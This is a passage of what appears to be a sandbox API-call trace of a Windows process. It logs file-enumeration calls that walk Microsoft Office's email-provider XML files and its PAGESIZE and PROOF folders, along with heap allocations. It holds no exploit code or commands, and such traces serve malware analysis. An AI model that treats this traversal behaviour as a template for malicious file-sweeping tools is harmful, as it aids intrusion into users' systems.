ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="PACBEL~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRODIGY.NET.XML", cAlternateFileName="PRODIG~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROGERS.COM.XML", cAlternateFileName="ROGERS~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="SBCGLO~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNET.NET.XML", cAlternateFileName="SNETNE~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWBELL.NET.XML", cAlternateFileName="SWBELL~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TALK21.COM.XML", cAlternateFileName="TALK21~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d33f7b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1d33f7b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d33f7b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="WANS.NET.XML", cAlternateFileName="WANSNE~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CA.XML", cAlternateFileName="YA4C16~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d33f7b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1d33f7b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d33f7b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="YA6C44~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="YA8E91~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="YA40E5~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="YAHOOC~4.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="YAHOOC~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="YACB7D~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="YAHOOC~3.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="YAHOOC~2.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="YA02CD~1.XML")) returned 1 [0230.440] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d2f32c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1d2f32c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="YA6DAE~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="YA819F~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="YA56AC~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="YAEA08~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="YA0670~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d319566, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1d319566, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="YA6D1B~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="YAC50A~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="YAB0F6~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.VN.XML", cAlternateFileName="YA38FD~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1fc39fa2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1fc39fa2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc6021a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.XML", cAlternateFileName="YA531A~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1fc86400, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.DE.XML", cAlternateFileName="YAHOOD~1.XML")) returned 1 [0230.441] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.ES.XML", cAlternateFileName="YAHOOE~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c9b60b5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c9b60b5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.FR.XML", cAlternateFileName="YAHOOF~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c9b60b5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c9b60b5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9dc2d6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.HK.XML", cAlternateFileName="YAHOOH~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c9b60b5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c9b60b5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IE.XML", cAlternateFileName="YAHOOI~2.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c9b60b5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c9b60b5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IT.XML", cAlternateFileName="YAHOOI~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c9b60b5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c9b60b5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.JP.XML", cAlternateFileName="YAHOOJ~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c9b60b5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c9b60b5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.NO.XML", cAlternateFileName="YAHOON~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c98fe3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c98fe3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.PL.XML", cAlternateFileName="YAHOOP~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d319566, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1d319566, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 1 [0230.442] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d319566, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1d319566, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 0 [0230.442] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0230.443] GetProcessHeap () returned 0xc10000 [0230.444] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.444] GetProcessHeap () returned 0xc10000 [0230.444] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc348b22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc39fa2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc39fa2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0230.450] GetProcessHeap () returned 0xc10000 [0230.450] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.450] GetProcessHeap () returned 0xc10000 [0230.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39bed4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb0d2731, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb0d2731, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0230.453] GetProcessHeap () returned 0xc10000 [0230.453] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0230.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0230.455] GetProcessHeap () returned 0xc10000 [0230.455] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0230.455] GetProcessHeap () returned 0xc10000 [0230.455] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0230.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 